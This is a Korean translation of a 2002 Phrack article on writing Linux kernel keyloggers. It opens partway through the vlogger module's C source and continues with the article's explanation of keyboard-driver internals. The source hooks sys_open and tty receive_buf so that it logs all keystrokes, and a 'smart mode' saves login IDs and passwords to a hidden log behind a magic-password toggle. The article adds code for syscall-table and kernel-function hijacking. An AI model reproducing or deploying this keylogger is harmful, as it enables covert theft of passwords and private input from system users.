snprintf(loginfo, sizeof(loginfo)-1,
"<%s uid=%d %s> %s", date_time,
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"<%s> %s", date_time, tmp->buf);
write_to_file(logfile, loginfo, strlen(loginfo));
} else {
write_to_file(logfile, tmp->buf, tmp->lastpos);
}
END_ROOT
#ifdef DEBUG
if (task)
DPRINT("%s/%d uid=%d %s: %s",
TTY_NAME(tty), TTY_NUMBER(tty),
task->uid, task->comm, tmp->buf);
else
DPRINT("%s", tmp->buf);
#endif
tmp->status = cont;
} else {
/*
* SMART mode 일때 User가 logging 할때 ID/PASS 저장
*/
BEGIN_ROOT
if (!tmp->pass) {
get_time(date_time);
if (task)
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d uid=%d %s]\n"
"USER/CMD %s", date_time,
TTY_NAME(tty),TTY_NUMBER(tty),
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d]\nUSER/CMD %s",
date_time, TTY_NAME(tty),
TTY_NUMBER(tty), tmp->buf);
write_to_file(PASS_LOG, loginfo, strlen(loginfo));
} else {
snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
tmp->buf);
write_to_file (PASS_LOG, loginfo, strlen(loginfo));
}
END_ROOT
#ifdef DEBUG
if (!tmp->pass)
DPRINT("USER/CMD %s", tmp->buf);
else
DPRINT("PASS %s", tmp->buf);
#endif
}
if (!cont) tmp->buf[--tmp->lastpos] = 0;
}
#define resetbuf(t) \
{ \
t->buf[0] = 0; \
t->lastpos = 0; \
}
#define append_c(t, s, n) \
{ \
t->lastpos += n; \
strncat(t->buf, s, n); \
}
static inline void reset_all_buf(void)
{
int i = 0;
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
if (ttys[i] != NULL)
resetbuf(ttys[i]);
}
void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
{
switch(count) {
case 2:
switch(cp[1]) {
case '\'':
append_c(tmp, "[ALT-\']", 7);
break;
case ',':
append_c(tmp, "[ALT-,]", 7);
break;
case '-':
append_c(tmp, "[ALT--]", 7);
break;
case '.':
append_c(tmp, "[ALT-.]", 7);
break;
case '/':
append_c(tmp, "[ALT-/]", 7);
break;
case '0':
append_c(tmp, "[ALT-0]", 7);
break;
case '1':
append_c(tmp, "[ALT-1]", 7);
break;
case '2':
append_c(tmp, "[ALT-2]", 7);
break;
case '3':
append_c(tmp, "[ALT-3]", 7);
break;
case '4':
append_c(tmp, "[ALT-4]", 7);
break;
case '5':
append_c(tmp, "[ALT-5]", 7);
break;
case '6':
append_c(tmp, "[ALT-6]", 7);
break;
case '7':
append_c(tmp, "[ALT-7]", 7);
break;
case '8':
append_c(tmp, "[ALT-8]", 7);
break;
case '9':
append_c(tmp, "[ALT-9]", 7);
break;
case ';':
append_c(tmp, "[ALT-;]", 7);
break;
case '=':
append_c(tmp, "[ALT-=]", 7);
break;
case '[':
append_c(tmp, "[ALT-[]", 7);
break;
case '\\':
append_c(tmp, "[ALT-\\]", 7);
break;
case ']':
append_c(tmp, "[ALT-]]", 7);
break;
case '`':
append_c(tmp, "[ALT-`]", 7);
break;
case 'a':
append_c(tmp, "[ALT-A]", 7);
break;
case 'b':
append_c(tmp, "[ALT-B]", 7);
break;
case 'c':
append_c(tmp, "[ALT-C]", 7);
break;
case 'd':
append_c(tmp, "[ALT-D]", 7);
break;
case 'e':
append_c(tmp, "[ALT-E]", 7);
break;
case 'f':
append_c(tmp, "[ALT-F]", 7);
break;
case 'g':
append_c(tmp, "[ALT-G]", 7);
break;
case 'h':
append_c(tmp, "[ALT-H]", 7);
break;
case 'i':
append_c(tmp, "[ALT-I]", 7);
break;
case 'j':
append_c(tmp, "[ALT-J]", 7);
break;
case 'k':
append_c(tmp, "[ALT-K]", 7);
break;
case 'l':
append_c(tmp, "[ALT-L]", 7);
break;
case 'm':
append_c(tmp, "[ALT-M]", 7);
break;
case 'n':
append_c(tmp, "[ALT-N]", 7);
break;
case 'o':
append_c(tmp, "[ALT-O]", 7);
break;
case 'p':
append_c(tmp, "[ALT-P]", 7);
break;
case 'q':
append_c(tmp, "[ALT-Q]", 7);
break;
case 'r':
append_c(tmp, "[ALT-R]", 7);
break;
case 's':
append_c(tmp, "[ALT-S]", 7);
break;
case 't':
append_c(tmp, "[ALT-T]", 7);
break;
case 'u':
append_c(tmp, "[ALT-U]", 7);
break;
case 'v':
append_c(tmp, "[ALT-V]", 7);
break;
case 'x':
append_c(tmp, "[ALT-X]", 7);
break;
case 'y':
append_c(tmp, "[ALT-Y]", 7);
break;
case 'z':
append_c(tmp, "[ALT-Z]", 7);
break;
}
break;
case 3:
switch(cp[2]) {
case 68:
// Left: 27 91 68
append_c(tmp, "[LEFT]", 6);
break;
case 67:
// Right: 27 91 67
append_c(tmp, "[RIGHT]", 7);
break;
case 65:
// Up: 27 91 65
append_c(tmp, "[UP]", 4);
break;
case 66:
// Down: 27 91 66
append_c(tmp, "[DOWN]", 6);
break;
case 80:
// Pause/Break: 27 91 80
append_c(tmp, "[BREAK]", 7);
break;
}
break;
case 4:
switch(cp[3]) {
case 65:
// F1: 27 91 91 65
append_c(tmp, "[F1]", 4);
break;
case 66:
// F2: 27 91 91 66
append_c(tmp, "[F2]", 4);
break;
case 67:
// F3: 27 91 91 67
append_c(tmp, "[F3]", 4);
break;
case 68:
// F4: 27 91 91 68
append_c(tmp, "[F4]", 4);
break;
case 69:
// F5: 27 91 91 69
append_c(tmp, "[F5]", 4);
break;
case 126:
switch(cp[2]) {
case 53:
// PgUp: 27 91 53 126
append_c(tmp, "[PgUP]", 6);
break;
case 54:
// PgDown: 27 91 54 126
append_c(tmp,
"[PgDOWN]", 8);
break;
case 49:
// Home: 27 91 49 126
append_c(tmp, "[HOME]", 6);
break;
case 52:
// End: 27 91 52 126
append_c(tmp, "[END]", 5);
break;
case 50:
// Insert: 27 91 50 126
append_c(tmp, "[INS]", 5);
break;
case 51:
// Delete: 27 91 51 126
append_c(tmp, "[DEL]", 5);
break;
}
break;
}
break;
case 5:
if(cp[2] == 50)
switch(cp[3]) {
case 48:
// F9: 27 91 50 48 126
append_c(tmp, "[F9]", 4);
break;
case 49:
// F10: 27 91 50 49 126
append_c(tmp, "[F10]", 5);
break;
case 51:
// F11: 27 91 50 51 126
append_c(tmp, "[F11]", 5);
break;
case 52:
// F12: 27 91 50 52 126
append_c(tmp, "[F12]", 5);
break;
case 53:
// Shift-F1: 27 91 50 53 126
append_c(tmp, "[SH-F1]", 7);
break;
case 54:
// Shift-F2: 27 91 50 54 126
append_c(tmp, "[SH-F2]", 7);
break;
case 56:
// Shift-F3: 27 91 50 56 126
append_c(tmp, "[SH-F3]", 7);
break;
case 57:
// Shift-F4: 27 91 50 57 126
append_c(tmp, "[SH-F4]", 7);
break;
}
else
switch(cp[3]) {
case 55:
// F6: 27 91 49 55 126
append_c(tmp, "[F6]", 4);
break;
case 56:
// F7: 27 91 49 56 126
append_c(tmp, "[F7]", 4);
break;
case 57:
// F8: 27 91 49 57 126
append_c(tmp, "[F8]", 4);
break;
case 49:
// Shift-F5: 27 91 51 49 126
append_c(tmp, "[SH-F5]", 7);
break;
case 50:
// Shift-F6: 27 91 51 50 126
append_c(tmp, "[SH-F6]", 7);
break;
case 51:
// Shift-F7: 27 91 51 51 126
append_c(tmp, "[SH-F7]", 7);
break;
case 52:
// Shift-F8: 27 91 51 52 126
append_c(tmp, "[SH-F8]", 7);
break;
};
break;
default: // Unknow
break;
}
}
/*
* 사용자가 키를 누를때 언제나 호출 되는 구문
*/
void vlogger_process(struct tty_struct *tty,
const unsigned char *cp, int count)
{
struct tlogger *tmp = ttys[TTY_INDEX(tty)];
if (!tmp) {
DPRINT("erm .. unknow error???\n");
init_tty(tty, TTY_INDEX(tty));
tmp = ttys[TTY_INDEX(tty)];
if (!tmp)
return;
}
if (vlogger_mode == VK_SMARTMODE) {
if (tmp->status && !IS_PASSWD(tty)) {
resetbuf(tmp);
}
if (!tmp->pass && IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
}
if (tmp->pass && !IS_PASSWD(tty)) {
if (!tmp->lastpos)
logging(tty, tmp, 0);
resetbuf(tmp);
}
tmp->pass = IS_PASSWD(tty);
tmp->status = 0;
}
if ((count + tmp->lastpos) > MAX_BUFFER - 1) {
logging(tty, tmp, 1);
resetbuf(tmp);
}
if (count == 1) {
if (cp[0] == VK_TOGLE_CHAR) {
if (!strcmp(tmp->buf, MAGIC_PASS)) {
if(vlogger_mode < 2)
vlogger_mode++;
else
vlogger_mode = 0;
reset_all_buf();
switch(vlogger_mode) {
case VK_DUMBMODE:
DPRINT("Dumb Mode\n");
TTY_WRITE(tty, "\r\n"
"Dumb Mode\n", 12);
break;
case VK_SMARTMODE:
DPRINT("Smart Mode\n");
TTY_WRITE(tty, "\r\n"
"Smart Mode\n", 13);
break;
case VK_NORMAL:
DPRINT("Normal Mode\n");
TTY_WRITE(tty, "\r\n"
"Normal Mode\n", 14);
}
}
}
switch (cp[0]) {
case 0x01: //^A
append_c(tmp, "[^A]", 4);
break;
case 0x02: //^B
append_c(tmp, "[^B]", 4);
break;
case 0x03: //^C
append_c(tmp, "[^C]", 4);
case 0x04: //^D
append_c(tmp, "[^D]", 4);
case 0x0D: //^M
case 0x0A:
if (vlogger_mode == VK_SMARTMODE) {
if (IS_PASSWD(tty)) {
logging(tty, tmp, 0);
resetbuf(tmp);
} else
tmp->status = 1;
} else {
logging(tty, tmp, 0);
resetbuf(tmp);
}
break;
case 0x05: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x06: //^F
append_c(tmp, "[^F]", 4);
break;
case 0x07: //^G
append_c(tmp, "[^G]", 4);
break;
case 0x09: //TAB - ^I
append_c(tmp, "[TAB]", 5);
break;
case 0x0b: //^K
append_c(tmp, "[^K]", 4);
break;
case 0x0c: //^L
append_c(tmp, "[^L]", 4);
break;
case 0x0e: //^E
append_c(tmp, "[^E]", 4);
break;
case 0x0f: //^O
append_c(tmp, "[^O]", 4);
break;
case 0x10: //^P
append_c(tmp, "[^P]", 4);
break;
case 0x11: //^Q
append_c(tmp, "[^Q]", 4);
break;
case 0x12: //^R
append_c(tmp, "[^R]", 4);
break;
case 0x13: //^S
append_c(tmp, "[^S]", 4);
break;
case 0x14: //^T
append_c(tmp, "[^T]", 4);
break;
case 0x15: //CTRL-U
resetbuf(tmp);
break;
case 0x16: //^V
append_c(tmp, "[^V]", 4);
break;
case 0x17: //^W
append_c(tmp, "[^W]", 4);
break;
case 0x18: //^X
append_c(tmp, "[^X]", 4);
break;
case 0x19: //^Y
append_c(tmp, "[^Y]", 4);
break;
case 0x1a: //^Z
append_c(tmp, "[^Z]", 4);
break;
case 0x1c: //^\
append_c(tmp, "[^\\]", 4);
break;
case 0x1d: //^]
append_c(tmp, "[^]]", 4);
break;
case 0x1e: //^^
append_c(tmp, "[^^]", 4);
break;
case 0x1f: //^_
append_c(tmp, "[^_]", 4);
break;
case BACK_SPACE_CHAR1:
case BACK_SPACE_CHAR2:
if (!tmp->lastpos) break;
if (tmp->buf[tmp->lastpos-1] != ']')
tmp->buf[--tmp->lastpos] = 0;
else {
append_c(tmp, "[^H]", 4);
}
break;
case ESC_CHAR: //ESC
append_c(tmp, "[ESC]", 5);
break;
default:
tmp->buf[tmp->lastpos++] = cp[0];
tmp->buf[tmp->lastpos] = 0;
}
} else { // 한 블록의 char 형 혹은 특수키
if (cp[0] != ESC_CHAR) {
while (count >= MAX_BUFFER) {
append_c(tmp, cp, MAX_BUFFER);
logging(tty, tmp, 1);
resetbuf(tmp);
count -= MAX_BUFFER;
cp += MAX_BUFFER;
}
append_c(tmp, cp, count);
} else // 특수키
special_key(tmp, cp, count);
}
}
void my_tty_open(void)
{
int fd, i;
char dev_name[80];
#ifdef LOCAL_ONLY
int fl = 0;
struct tty_struct * tty;
struct file * file;
#endif
for (i=1; i<MAX_TTY_CON; i++) {
snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd < 0) continue;
#ifdef LOCAL_ONLY
file = fget(fd);
tty = file->private_data;
if (tty != NULL &&
tty->ldisc.receive_buf != NULL) {
if (!fl) {
old_receive_buf =
tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
#endif
close(fd);
END_KMEM
}
#ifndef LOCAL_ONLY
for (i=0; i<MAX_PTS_CON; i++) {
snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
BEGIN_KMEM
fd = open(dev_name, O_RDONLY, 0);
if (fd >= 0) close(fd);
END_KMEM
}
#endif
}
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // raw 모드 무시하기
vlogger_process(tty, cp, count);
(*old_receive_buf)(tty, cp, fp, count);
}
static inline void init_tty(struct tty_struct *tty, int tty_index)
{
struct tlogger *tmp;
DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
if (ttys[tty_index] == NULL) {
tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
if (!tmp) {
DPRINT("kmalloc failed!\n");
return;
}
memset(tmp, 0, sizeof(struct tlogger));
tmp->tty = tty;
tty->ldisc.receive_buf = new_receive_buf;
ttys[tty_index] = tmp;
} else {
tmp = ttys[tty_index];
logging(tty, tmp, 1);
resetbuf(tmp);
tty->ldisc.receive_buf = new_receive_buf;
}
}
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
int ret;
static int fl = 0;
struct file * file;
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
BEGIN_KMEM
lock_kernel();
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
(tty->driver.type == TTY_DRIVER_TYPE_PTY &&
tty->driver.subtype == PTY_TYPE_SLAVE &&
TTY_NUMBER(tty) < MAX_PTS_CON)) &&
tty->ldisc.receive_buf != NULL &&
tty->ldisc.receive_buf != new_receive_buf) {
if (!fl) {
old_receive_buf = tty->ldisc.receive_buf;
fl = 1;
}
init_tty(tty, TTY_INDEX(tty));
}
fput(file);
unlock_kernel();
END_KMEM
}
return ret;
}
int init_module(void)
{
DPRINT(MVERSION);
#ifndef LOCAL_ONLY
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;
#endif
my_tty_open();
// MOD_INC_USE_COUNT;
return 0;
}
DECLARE_WAIT_QUEUE_HEAD(wq);
void cleanup_module(void)
{
int i;
#ifndef LOCAL_ONLY
sys_call_table[__NR_open] = original_sys_open;
#endif
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
if (ttys[i] != NULL) {
ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
}
}
sleep_on_timeout(&wq, HZ);
for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
if (ttys[i] != NULL) {
kfree(ttys[i]);
}
}
DPRINT("Unloaded\n");
}
EXPORT_NO_SYMBOLS;
<-->
|=[ EOF ]=---------------------------------------------------------------=|
제목: Linux Kernel Keylogger
번역: OverHead Team at Wowhacker Zenky(zenky77@hananet.net)
rd 가 외국인이다 보니, 영어가 서툴군요 ^^; 고생 좀 했습니다.
참고: 이 글을 읽기 전에 Phrack 50 - 5 와 'Kernel Based Keylogger'
(http://www.phreedom.org/article.php?id=28) 를 읽어보시길 추천합니다.
* 오역 및 오타가 있으면 지적해주시기 바랍니다. *
/************************************************************************************/
==Phrack Inc.==
Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12
|=--------------------=[ 리눅스 커널 키 로그 작성하기 ]=--------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------=[ rd <rd@thehackerschoice.com> ]=---------------------=|
|=--------------------------=[ June 19th, 2002 ]=----------------------------=|
--[ 차례
1 - 서론
2 - 리눅스 키보드 driver 가 어떻게 수행되는가?
3 - 커널 기반의 키로거로의 접근
3.1 - 인터럽트 핸들러
3.2 ? 함수 전달 값 훔치기
3.2.1 - handle_scancode
3.2.2 - put_queue
3.2.3 - receive_buf
3.2.4 - tty_read
3.2.5 - sys_read/sys_write
4 - vlogger
4.1 ? 시스템 콜과 tty로의 접근
4.2 - 특징
4.3 - 어떻게 사용하는가?
5 - 감사의 글
6 ? 참고문헌
7 - Keylogger 소스
--[ 1 - 서론
이 문서는 두 부분으로 나뉘어 지는데, 첫 번째 부분은 리눅스 키보드 driver가 수행되는 과정을
설명해줍니다. 그리고 커널 기반의 키로거를 만드는 방법에 대해 이야기합니다. 이 부분은 커널 기
반의 키로거를 만들려고 하는 사람이나 (현재 리눅스 환경에서 지원되지 않고 있는) 키보드 driver
를 만들려는 사람에게 유용할겁니다. 또는 리눅스 키보드 driver의 많은 특징을 가져와 프로그래밍
을 하려는 사람에게 유용할겁니다.
두 번째 부분은 vlogger의 상세한 설명과 뛰어난 커널 기반의 키로거와 이 것을 어떻게 사용하는
가에 대해 설명할겁니다. 이 키로거는 흥미로운 코드로 white hat, black hat에 의한 honeypots 혹
은 시스템 공격에 널리 이용될 것입니다. 잘 알려진 키로거는 거의 사용자 영역 기반의 키로거
(like iob , uberkey , unixkeylogger ... )이지만, 커널 기반의 키로거 도 여럿 있습니다. 초창기
커널 기반 키로거는 halflife의 linspy로 Phrack 50-4 (%필자주% Phrack 50-5 인것 같군요^^;)에
서 소개되었고,내가 이 글을 쓰고 있던 최근에 mercenary가 'Kernel Based Keylogger'
(%필자주% http://www.phreedom.org/article.php?id=28) 라는 글에서 kkeyloger를 소개했습니다.
위의 커널 기반의 키로거의 공통된 방법은 sys_read 나 sys_write 라는 system 콜을 이용해서 사용
자가 key를 치는 것을 가로채서 log로 저장하는 인데, 이러한 접근 방법은 꽤 불안하고
sys_read(or sys_write)는 일반적인 읽기,쓰기 작업에서 쓰이는 것이기 때문에, 시스템 성능을 상
당히 떨어뜨린다 ; sys_read는 프로세서가 어떤 읽기 작업을 device(file, serial port나 키보드
같은 곳) 에서 얻으려 할 때 발생되는 것이다. vlogger에서 tty 버퍼처리 함수에서 키로그를 가져
올 좀더 현명한 방법을 채용했습니다.
이 reader는 Linux Loadable Kernel Module 의 정보를 소유 할 수 있도록 도와주며, 아래의 글
을 읽기 전에 [1],[2] 장의 글을 먼저 읽기를 추천합니다.
--[ 2 - 리눅스 키보드 driver 가 어떻게 수행되는가?
콘솔 키보드가 어떻게 사용자 입력을 처리 하는지를 아래와 같이 살펴봅시다 :
_____________ _________ _________
/ \ put_queue| |receive_buf| |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\ / | | |buffer |
\_____________/ |_________| |_________|
_________ ____________
| |sys_read| |
--->|/dev/ttyX|------->|user process|
| | | |
|_________| |____________|
Figure 1
첫 번째로, 당신이 키보드에 키를 누를 때, 그 키보드는 키에 걸맞은 scancodes를 키보드 driver
에게 보낼 것이다. 단 한번의 키 클릭은 여섯 번의 scancodes까지 연속을 일으킬 수 있습니다.
%필자주% key press는 Key 를 누를 때, key release는 Key 를 놓을 때를 말합니다.
handle_scancode() 함수는 scancodes의 흐름을 분석하고 key press 나 key release 이벤트를 발생
시키며, kbd_translate() 함수를 이용해 translation-table 사용하는데, 각 키는 1-127 범위 안의
서로 다른 키코드 k를 제공합니다. 키보드를 누를 땐, 키코드 k가 생성되고, 키보드를 놓을 땐 키
코드 k+128 을 만들어 줍니다.
예를 들면, 키코드 a 는 30 이란 값을 가지는데,'a' key를 누르면 키코드 30을 생성하며, 키를
놓을 때에는 'a' 값은 키코드 158(128+ 30)을 생성하게 됩니다.
Next, 키코드 s는 키맵에 있는 적당한 문자로 변환됩니다. 이런 일련의 과정은 좀 복잡한 한데,
키보드 의 8개의 옵션 키( shift keys - Shift, AltGr, Control, Alt,ShiftL, ShiftR, CtrlL and
CtrlR )와 키코드의 숫자 값과 결합되어서 키맵에 따라 글자가 결정됩니다.
이런 수행의 결과로, 문자를 포함하는 값은 tty queue에 올려져 tty_flip_buffer에
저장됩니다.
tty line 의 통제 방법은, receive_buf ( ) 함수를 주기적으로 호출해서 문자를 tty_flip_buffer로
부터 가져와 tty의 read queue 넣는 것 방식입니다.
user process 가 사용자의 입력을 요구할 때, read() 함수를 호출해서 stdin(표준입력) 프로세서
를 이용합니다. sys_read() 함수는 read() 함수를 호출해서 file_operation 구조로 되어있는
tty(ex /dev/tty0)의 입력 문자와 return process값을 비교해서(어떤 것이 tty_read를 가리키는지)
를 알아냅니다.
키보드 driver는 4가지 모드를 선택할 수 있습니다.:
- scancode (RAW MODE): 입력 받은 값의 scancode 프로그램이 획득하는 방식으로,
키보드 driver의 값을 이어받아서 프로그램에 사용합니다. (ex :X11)
- 키코드 (MEDIUMRAW MODE): key press 와 key relesed의 (키코드 id를 받아)
그 정보를 프로그램에서 이용합니다.
- ASCII (XLATE MODE):키맵에서 효율적으로 정의된 8-bit 인 코딩(8bit ASCII 지칭)
된 문자를 프로그램에 이용합니다.
- 유니코드 (UNICODE MODE): ASCII방식과의 단 한가지 차이점은 아스키는 Ascii 0
에서 Ascii 9를 이용해 UTF8 유니코드 문자를 10진법으로 전달하지만, 유니코드는
Hex 0 에서 Hex 9 까지를 이용해 16진수(4-digit)표현을 해서 전달한다는 점이다.
키맵에선 UTF8 sequence (U+XXXX의 모조 문자를 포함하며, X는 16진수를
의미)를 설정할 수 있게 합니다.
프로그램에 따라 어떤 데이터 type을 쓸 것인지 영향을 끼칩니다. scancode, 키코드
그리고 키맵 s에 더 많은 상세한 설명을 위해서 꼭 [3]을 읽어주세요.
--[ 3 - 커널 기반의 키로거로의 접근
커널 기반의 keylogger에선 키보드의 쓰기 인터럽트 핸들러의 권한을 가지거나 키보드 입력 함수
의 값을 훔치는 것 이 두 가지 방법이 있습니다.
----[ 3.1 - 인터럽트 핸들러
키보드를 칠 때, 우리는 키보드 인터럽트 핸들러를 사용할 수 있게 되며, 인텔 아키텍처에선 키
보드 컨트롤러 IRQ는 1번입니다. 키보드 인터럽트를 받았을 때, 키보드 핸들러는 scancode를 읽어
서 키보드 상태를 파악하고, 키보드 이벤트는 0x60(키보드 data register ) port와 0x64 ( 키보드
status register ) 를 경유해서 이용해서 데이터를 읽고 씁니다.
/*이 코드는 인텔 아키텍처의 특성입니다 * /
#define 키보드_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60
#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)
/* 레지스터에 사용할 IRQ를 설정합니다. */
request_irq(키보드_IRQ, my_키보드_irq_핸들러, 0, "my 키보드", NULL);
In my_키보드_irq_핸들러():
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);
이런 방식은 플랫폼 의존적입니다. 그래서 여러 플랫폼에 이식하기 쉽지 않을
겁니다. 그리고, Linux box를 망치고 싶지 않다면, 인터럽트 핸들러를 만질 때
조심해서 다뤄야 될 겁니다 ;)
----[ 3.2 - 함수 전달 값 훔치기
Figure 1에 기반에서 ,우리는 keylogger가 사용자의 입력을 handle_scancode( ),
put_queue( ), receive_buf( ), tty_read( ) 그리고 sys_read() 함수를 통해 hijacking 할 수 있는
권한 가질 수 있는 방법을 알게 되었지만, tty_insert_flip_char() 함수 는INLINE 함수 이기 때문
에 문자를 가로챌 수 없다는 것을 인지해야 될 것 입니다.
------[ 3.2.1 - handle_scancode
이건 키보드 driver 에 대한 목록이다.(키보드.c 참고) 키보드로부터
입력 받은 scancode에 의해 handling 됩니다.
# /usr/src/linux/drives/char/키보드.c
void handle_scancode(unsigned char scancode, int down);
우리는 원래의 hadle_scancode() 함수를 우리 소유의 모든 scancode의 로그와
바꿀 수 있습니다. 그러나, handle_scancode( )는 전역변수를 가지고 있지않고,
함수가 export 되어있지 않습니다. 그렇기 때문에, Silvio가 소개한 kernel function
hijacking 테크닉을 이용해보겠습니다.(section [5] 참조)
/* 아래 code 는 snippet는 Plasmoid 가 쓴 것입니다.*/
static struct semaphore hs_sem, log_sem;
static int logging=1;
#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
void (*handle_scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS_ADDRESS;
void _handle_scancode(unsigned char scancode, int keydown)
{
if (logging && keydown)
log_scancode(scancode, LOGFILE);
/*
* 원래 handle_scancode 코드의 첫 번째 바이트를 복구시키시오. 복구된 함수
* 를 호출하고,복구전의 jump 코드를 호출하시오. hs_sem 코드는 세마포어에
* 의해 보호되고 있습니다. 우리는 하나의 CPU 만이 동작하는걸 원합니다.
*/
down(&hs_sem);
memcpy(handle_scancode, hs_code, CODESIZE);
handle_scancode(scancode, keydown);
memcpy(handle_scancode, hs_jump, CODESIZE);
up(&hs_sem);
}
HS_ADDRESS is set by the Makefile executing this command
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
3.1과 비슷한 방법을 이용했으며, 이 방법은 tty가 호출됐건 안됐건 상관없이,
X 윈도우상의 console에서 키를 칠 때의 log 를 저장할 수 있다는 장점을 가지고 있습니다.
그리고, 정확히 키보드에서 어떤 키( Control , Alt , Shift , Print Screen 등의
특수키도 포함)를 눌렀는지도 알 수 있을것입니다. 그러나, 이 방법은 플랫폼 지향적이라서
다른 종류의 플랫폼에서 사용하긴 힘들 것입니다. 이 방법은 또한 remote session에선
꽤 복잡하기 때문에, 고성능의 logger 가 아니면 keystroke를 log 하는 게 힘들 것입니다.
------[ 3.2.2 - put_queue
이 함수는 handle_scancode ( ) 호출해서 tty_queue에 문자를 전송합니다.
# /usr/src/linux/drives/char/키보드.c
void put_queue(int ch);
이 함수에 인터셉트하기 위해선 3.2.1 장의 테크닉을 이용하면 될 것입니다.
------[ 3.2.3 - receive_buf
receive_buf( ) 함수는 저 레벨의 tty driver를 호출하여 하드웨어 라인을 통제
하며 문자를 전송합니다.
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)
cp는 버퍼의 입력 문자를 디바이스로부터 받아 전달하는 역할을 합니다.
fp는 flag 바이트(%역자주: flag 비트)를 이용하여 어떤 지점에서 어떤 지점으로
문자를 전달하며, 오류정정 등을 하는 코드를 포함한다.
자 이제 tty 구조에 대해 더 깊게 조사해봅시다.
# /usr/include/linux/tty.h
struct tty_struct {
Int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}
# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};
이 함수의 인터셉트에서, receive_buf() 함수를 이용하여 원래 값을 저장하며,
ldisc.receive_buf을 설정하여 new_receive_buf() 함수에게 사용자의 입력 값을
저장하도록 명령할 수 있습니다.
Ex:tty0 의 키로그 를 들자면 아래와 같습니다. :
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //로그 입력
/* 기존의 receive_buf 호출*/
(*old_receive_buf)(tty, cp, fp, count);
}
------[ 3.2.4 - tty_read
이 함수는 프로세서가 문자를 읽기 원할 때 호출 되는 것 으로 sys_read()함수를
이용해서 tty의 값의 문자를 가져옵니다.
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};
To log inputs on the tty0:
int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;
------[ 3.2.5 - sys_read/sys_write
우리는 read/write 호출의 내용을 로그 하는 우리 자신의 코드에 그 방향을 고치기 위해
sys_read/sys_write 시스템 호출을 도중 가져올 것 입니다. 이 방법은 Phrack 50-4 (%필자주%
Phrack 50-5 인 것 같군요^^;) halflife 가 지은 글에서 처음 대두 되었으며, pragmatic 가[2]
sector에서 적은 Complete Linux Loadable Kernel Modules"
(%필자주% http://packetstorm.decepticons.org/docs/hack/LKM_HACKING.html)
란 글을 읽어 보길 바랍니다.
intercept sys_read/sys_write의 코드는 이와 같은 것입니다:
extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
--[ 4 - vlogger
이 파트는 나의 kernel keylogger 스타일의 방식을 설명하는 섹션이며, 3.2.3 의
sys_read/sys_write 시스템 콜을 이 keylogger에선 좀더 일반적으로 접근하고 있습니다. 난 이 코
드를 커널 2.4.5 , 2.4.7, 2.4.17 그리고 2.4.18 에서 테스트 하였습니다.
----[ 4.1 - 시스템 콜과 tty로의 접근
local(console login)과 remote 접속에 로그인 해서 난 receive_buf()함수의 값을
가로채는 방법을 선택했습니다.(참조 : 3.2.3)
